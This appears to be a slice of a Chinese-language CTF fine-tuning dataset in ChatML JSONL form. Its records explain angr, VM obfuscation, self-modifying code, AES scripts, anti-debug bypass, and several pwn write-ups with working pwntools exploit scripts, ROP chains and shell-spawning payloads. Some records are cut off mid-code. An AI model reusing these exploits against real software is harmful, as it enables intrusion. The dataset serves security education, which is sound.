State状态\n\nProject 实际上只是将二进制文件加载进来了，要执行它，实际上是对 SimState 对象进行操作，它是程序的状态。\n\n要创建状态，需要使用 Project 对象中的 factory，它还可以用于创建模拟管理器和基本块，如下：\n\n```python\nstate=p.factory.entry_state()\n```\n\n预设状态有四种方式如下：\n\n| 预设状态方式       | 描述                                                     |\n| ------------------ | -------------------------------------------------------- |\n| entry_state        | 初始化状态为程序运行到程序入口点处的状态                 |\n| blank_state(addr=) | 大多数数据都没有初始化，状态中下一条指令为 addr 处的指令 |\n| full_init_state    | 共享库和预定义内容已经加载完毕，例如刚加载完共享库       |\n| call_state         | 准备调用函数的状态                                       |\n\n在 Angr 中，程序在某一个程序点的执行状态叫做 State，执行过程就是从一个 State 向另外一个 State 转换。每个 State 的寄存器、内存、约束限制等都是独立的，互相不影响。\n\n状态包含了程序运行时的一切信息，寄存器、内存的值、文件系统以及符号变量等，这些信息的使用等用到时再进一步说明。\n\n`entry_state`和`blank_state`是常用的两种方式，后者通常用于跳过一些极大降低 angr 效率的指令，它们间的对比如下：\n\n```python\nstate=p.factory.entry_state()\nprint(state.regs.rax,state.regs.rip)...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::142c8da39adcfb44", "original_line": 1071, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "State状态", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "142c8da39adcfb44", "source_split": "train", "split": "train", "split_group_key": "ac6f7dd25c619bec36672f71", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2d2a467cd929d89d3b81", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“processDeeplinkExpression”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. if (expression.contains(\"*\")) {\n2. String[] parts2 = expression.split(\"\\\\*\"); // 乘号需要转义\n3. if (parts2.length == 2) {\n4. this.firstNum = Double.parseDouble(parts2[0]);\n5. this.operator = \"*\";\n6. this.input = parts2[1];", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 4, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::3baabad8c08f80cc", "original_line": 32, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "3baabad8c08f80cc", "source_split": "test", "split": "train", "split_group_key": "8931363b4ef6a0c4a02a5707", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2d9467a00b83adc5ecf6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《VM 指令虚拟化》中“结构体定义”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《VM 指令虚拟化》的“结构体定义”。\n语言/类型：c\n关联知识点：\n- CTF 中的 VM 通常会实现一个类似如下的结构体，用于保存虚拟机状态：\n- `vm_init`：对虚拟机环境进行初始化\n- `vm_dispatcher`：调度器，解释opcode，并选择对应的handle函数执行，当handle执行完后会跳回这里，形成一个循环。\n- `opcode`：程序可执行代码转换成的操作码。\n- 照着大佬的图画的：\n代码片段：\n```c\ntypedef struct{\n\tunsigned int r1;         //虚拟寄存器 r1\n\tunsigned int r2;         //虚拟寄存器 r2\n\tunsigned int eip;        //指向正在解释的 opcode 地址\n\tunsigned char mem[256];  //虚拟内存\n\tunsigned char code[1024];//存放自定义机器码\n}VM;\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4caa9355a730076e", "original_line": 859, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "结构体定义", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4caa9355a730076e", "source_split": "train", "split": "train", "split_group_key": "6516db11c8becdd7255e28ec", "tags": ["reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2fecc70ae5f9aadf8464", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《SMC自修改代码》中“实现”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《SMC自修改代码》的“实现”。\n语言/类型：c\n关联知识点：\n- 环境为 Linux 系统环境 gcc 编译器\n- 下面我们通过实现简单的 SMC 代码来理解其原理。\n- 我们编写一段 C 语言代码，在其中插入汇编代码，功能为输出字符串。\n- 进行编译后，将`func`函数部分的字节码进行`xor 0xAA`加密，然后作为我们要解密的函数。\n- 接下来我们编写 SMC 代码，将加密后的函数字节码作为数据插入到代码中。\n代码片段：\n```c\n#include\n#include\n\nvoid func(){\n    __asm__ __volatile__(\n        \"mov $1, %rdi\\n\\t\"\n        \"mov $0x0a434d53, %rsi\\n\\t\"\n        \"push %rsi\\n\\t\"\n        \"mov %rsp,%rsi\\n\\t\"\n        \"mov $4, %rdx\\n\\t\"\n        \"mov $1, %rax\\n\\t\"\n        \"syscall\\n\\t\"\n        \"mov $60, %rax\\n\\t\"\n        \"xor %rdi, %rdi\\n\\t\"\n        \"syscall\\n\\t\"\n    );\n}\n\nvoid main(int argc, char *argv[])\n{\n  func();\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::bb564122315f4b37", "original_line": 1035, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "实现", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "bb564122315f4b37", "source_split": "train", "split": "train", "split_group_key": "06454a0afae9946556255e1e", "tags": ["reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-31726d6e281bd06f75c0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《AES》中“脚本”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《AES》的“脚本”。\n语言/类型：python\n关联知识点：\n- AES 换表解密脚本。\n代码片段：\n```python\nclass AES:\n\n    MIX_C  = [[0x2, 0x3, 0x1, 0x1], [0x1, 0x2, 0x3, 0x1], [0x1, 0x1, 0x2, 0x3], [0x3, 0x1, 0x1, 0x2]]\n    I_MIXC = [[0xe, 0xb, 0xd, 0x9], [0x9, 0xe, 0xb, 0xd], [0xd, 0x9, 0xe, 0xb], [0xb, 0xd, 0x9, 0xe]]\n    RCon   = [0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000]\n\n    S_BOX = [[124, 202, 123, 119, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 71, 171],\n             [118, 99, 130, 201, 125, 250, 89, 240, 173, 212, 162, 175, 156, 164, 114, 192],\n             [183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21],\n             [4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117],\n             [9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132],\n             [83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207],\n             [208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168],\n             [81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210],\n             [151, 205, 12, 19, 236, 95, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115],\n             [96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219],\n             [224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121],\n             [231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8],\n             [186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138],\n             [112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158],\n             [225,\n...\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::2eb2ebad198d0946", "original_line": 98, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "脚本", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "2eb2ebad198d0946", "source_split": "validation", "split": "train", "split_group_key": "a38219de6950a4d041f0f65e", "tags": ["crypto", "ctf-method"], "title": "AES", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3176818933fc8c0c0e51", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“TLS 回调函数绕过”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / TLS 回调函数绕过\n关键词：TLS、0x1A0、PEview、Editor、回调函数反调试、的程序在当我们调试、回调函数加了反调试、导致调试器调试、使得程序可以动态调试\n蒸馏要点：\n- 存在 TLS 回调函数反调试的程序在当我们调试程序时会莫名其妙的退出，这是因为我们的 TLS 回调函数加了反调试代码。导致调试器调试程序退出。\n- 这个时候我们就需要去除 TLS 反调试代码，使得程序可以动态调试。\n- 通过 PEview 工具查看 TLS 程序文件结构，获取 TLS 在头部的地址。\n- 然后使用 010 Editor 工具编辑文件，找到`0x1A0`位置。直接将这行十六个字节全部清零。\n- 之后将数据段的内容也全部清零。\n- 之后我们再次运行就没有 TLS 了。\n可用于训练的标准回答：\n#### TLS 回调函数绕过\n\n存在 TLS 回调函数反调试的程序在当我们调试程序时会莫名其妙的退出，这是因为我们的 TLS 回调函数加了反调试代码。导致调试器调试程序退出。\n\n这个时候我们就需要去除 TLS 反调试代码，使得程序可以动态调试。\n\n通过 PEview 工具查看 TLS 程序文件结构，获取 TLS 在头部的地址。\n\n然后使用 010 Editor 工具编辑文件，找到`0x1A0`位置。直接将这行十六个字节全部清零。\n\n之后将数据段的内容也全部清零。\n\n之后我们再次运行就没有 TLS 了。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::96f2413871957d74", "original_line": 814, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "TLS 回调函数绕过", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "96f2413871957d74", "source_split": "train", "split": "train", "split_group_key": "031b2825a25dc51400eb780a", "tags": ["reverse"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-31c86f09c34b62aa0db7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“实现”？请用《SMC自修改代码》中的内容回答。", "role": "user"}, {"content": "1. addr = 0x404060\n2. for i in range(0x35):\n3. val = idc.get_bytes(addr + i, 1)\n4. val = ord(val)\n5. val ^= 0xAA\n6. idc.patch_byte(addr + i, val)", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::516292d6a5ffbb38", "original_line": 870, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "实现", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "516292d6a5ffbb38", "source_split": "train", "split": "train", "split_group_key": "05bebd846ceb42aad31ee9fb", "tags": ["reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-31d54f6af20eaea41b17", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“劫持TLS”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. p.sendlineafter(\"Give your title size : \",str(0x5170c-0x10))\n2. p.sendlineafter(\"invalid ! please re-enter :\\n\",str(0x18))\n3. p.sendlineafter(\"\\nGive your title : \",'c'*0x10)\n4. p.sendlineafter(\"Give your note : \",p32(0xdeadbeef))\n5. p.send('\\x40')\n6. p.send(\"/bin/sh\\x00\")", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::51f6014659cfe6e3", "original_line": 633, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "劫持TLS", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "51f6014659cfe6e3", "source_split": "train", "split": "train", "split_group_key": "c77ab106c5edbc24581f7e2f", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3210b61aadb919d31c07", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“futureheap”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / futureheap\n关键词：lambda、data、text、num、puts、RELRO、PIE、recv、ljust、x00\n蒸馏要点：\n- 35 的 glibc，存在 UAF 漏洞。\n- 程序存在沙箱保护。\n- from pwn import *\n- def dbg(c=0):\n- gdb.attach(io, c)\n- gdb.attach(io)\n- s = lambda data: io.send(data)\n可用于训练的标准回答：\n### futureheap\n\n> 3.35 的 glibc，存在 UAF 漏洞。\n\n保护全开：\n\n```\n    Arch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n```\n\n程序存在沙箱保护。\n\n```\n=================================\n 0000: 0x20 0x00 0x00 0x00000004  A = arch\n 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011\n 0002: 0x20 0x00 0x00 0x00000000  A = sys_number\n 0003: 0x35 0x00 0x01 0x40000000  if (A\n\n- function\n\n程序要求输入十六进制数，然后通过`puts`泄露栈上的数据。\n\n- vuln\n\n思路：\n\nfunction函数拿libc和stack，进入vuln函数，写入返回地址，用scanf修改掉返回地址为one_gadget，返回时rdi指向buf，所以buf写入binsh。\n\n- exp\n\n```python\n#!/bin/python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendline...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0356d00125d25801", "original_line": 635, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "futureheap", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0356d00125d25801", "source_split": "train", "split": "train", "split_group_key": "db9a9230217392e4136e1abc", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-325dcaed872689026cc0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ezstack”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ezstack\n关键词：stack、system、vuln、main、s、h、c、f、$0、elf、shell、gift、ELF\n蒸馏要点：\n- `main`函数会返回到`stack`函数执行，`stack`函数中存在栈溢出。\n- 发现`vuln`中存在`system`函数，并且将输入的内容作为`system`函数的参数执行。\n- 但是对输入的内容做了过滤，如果内容中包含`s、h、c、f `等字符则报错返回。\n- 所以我们要拿到 shell，必须输入一个不被过滤的字符。\n- `$0`也可以用于获取 shell。\n可用于训练的标准回答：\n### ezstack\n\n`main`函数会返回到`stack`函数执行，`stack`函数中存在栈溢出。\n\n发现`vuln`中存在`system`函数，并且将输入的内容作为`system`函数的参数执行。\n\n但是对输入的内容做了过滤，如果内容中包含`s、h、c、f `等字符则报错返回。\n\n所以我们要拿到 shell，必须输入一个不被过滤的字符。\n\n`$0`也可以用于获取 shell。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\noff=56\n#ret用于平栈\nret=0x000000000040101a\npayload=b'\\x00'*off+p64(ret)+p64(elf.sym.vuln)\n\nsl(payload)\n#$0也可以获取shell\nsla(\"command\\n\",b\"$0\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::cbd848234f6dd8bb", "original_line": 1021, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ezstack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "cbd848234f6dd8bb", "source_split": "train", "split": "train", "split_group_key": "067d74055c4babb7557c1b2c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-330533a4c7c09e5cdccd", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“rctf2019shellcoder”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / rctf2019shellcoder\n关键词：rdi、data、lambda、rsi、rdx、text、read、rax、mmap、num\n蒸馏要点：\n- 输出一段数据后，由`mmap`分配一段可读可写可执行的内存。之后向这块内存读取数据，然后执行这块内存中的代码。\n- 但是这里`read`只能读取 7 个字节的数据，无论是 getshell 还是 orw 都无法进行。\n- 可以写通过一段短的汇编代码将 shellcode 重新写入。通过`mov dl,100`将`rdx`设置为一个较大的值，而此时`rdi`是分配的内存，将`rdi`交互到`rsi`中，而且此时`rax`的值仍然是 0。\n- 所以执行 shellcode1 后寄存器的状态如下：\n可用于训练的标准回答：\n### rctf2019shellcoder\n\n#shellcode\n\n输出一段数据后，由`mmap`分配一段可读可写可执行的内存。之后向这块内存读取数据，然后执行这块内存中的代码。\n\n但是这里`read`只能读取 7 个字节的数据，无论是 getshell 还是 orw 都无法进行。\n\n可以写通过一段短的汇编代码将 shellcode 重新写入。通过`mov dl,100`将`rdx`设置为一个较大的值，而此时`rdi`是分配的内存，将`rdi`交互到`rsi`中，而且此时`rax`的值仍然是 0。\n\n所以执行 shellcode1 后寄存器的状态如下：\n\n```\nrax=0\nrdi=0\nrsi=分配的内存\nrdx=100\n```\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('rctf_2019_shellcoder')\nio = process([elf.path...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b5011f65aa54438e", "original_line": 1015, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "rctf2019shellcoder", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b5011f65aa54438e", "source_split": "train", "split": "train", "split_group_key": "88d95ade6a206e0c9bc9a969", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-334e7b285555582af9f1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[CISCN 2019东南]PWN2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[CISCN 2019东南]PWN2”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\ncontext.arch=\"i386\"\n\nsa(b\"name?\\n\",b'a'*(0x28-1)+b'b')\nru(b\"aaab\")\n\n#泄露的ebp地址\nleak_ebp=u32(ru(b\"\\xff\"))\n\noff=0x38\nleave=0x8048593\n\n#payload开始地址\ntarget=leak_ebp-off-0x4\nsh=leak_ebp-off+0xc\n\npayload=p32(elf.plt.system)+p32(elf.sym._start)+p32(sh)+b\"/bin/sh\\x00\"\npayload=payload.ljust(0x28,b'a')+p32(target)+p32(leave)\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3c40d777d5182c87", "original_line": 1011, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[CISCN 2019东南]PWN2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3c40d777d5182c87", "source_split": "train", "split": "train", "split_group_key": "074e424f31c9e69acd35b018", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-34666ab9b9c68fc2f020", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[MoeCTF 2022]syscall”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [MoeCTF 2022]syscall\n关键词：base、p64、syscall、gift、elf、hex、rdi、rsi、sys、payload\n蒸馏要点：\n- 利用gadget设置系统调用参数\n- 利用rax作为计数器的特性设置rax参数\n可用于训练的标准回答：\n### [MoeCTF 2022]syscall\n\n#syscall\n\n利用gadget设置系统调用参数\n利用rax作为计数器的特性设置rax参数\n\n- exp\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\n\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\nru(\"first!\\n\")\ndz=ru(b\"1a9\").strip()\ndz=int(dz,16)\nprint(\"addr：\",hex(dz))\nbase=dz-0x11a9\nprint(\"base：\",hex(base))\n\nsh=0x00004010+base\nrdi=0x00000000000011b1+base\nrdx=0x00000000000011b4+base\nrsi=0x00000000000011b3+base\nsys=0x00000000000011b6+base\n\noff=72\npayload=b'a'*72+p64(rdi)+p64(sh)+p64(rsi)+p64(0)*2+p64(sys)\nsa(\"Go!!!\\n\",payload)\npay=b'a'*0x3b\ns(pay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::22b04dfcd50fb4fa", "original_line": 998, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[MoeCTF 2022]syscall", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "22b04dfcd50fb4fa", "source_split": "train", "split": "train", "split_group_key": "b2c2ce788ff74bf6418edcbb", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
